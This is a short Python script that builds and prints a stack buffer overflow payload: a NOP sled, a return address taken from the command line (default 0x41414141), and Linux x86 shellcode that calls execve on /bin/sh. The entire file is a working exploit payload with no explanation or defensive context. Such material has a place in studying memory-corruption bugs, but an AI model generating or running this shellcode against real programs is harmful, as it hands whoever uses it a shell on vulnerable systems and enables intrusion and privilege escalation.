#!/usr/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
	addr = 0x41414141
else:
	addr = int(sys.argv[1], 16)

data  = "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += pack('<L', addr)
data += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
data += "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
data += "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
data += "\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
data += "\x80\xe8\xdc\xff\xff\xff/bin/sh"

sys.stdout.write(data)
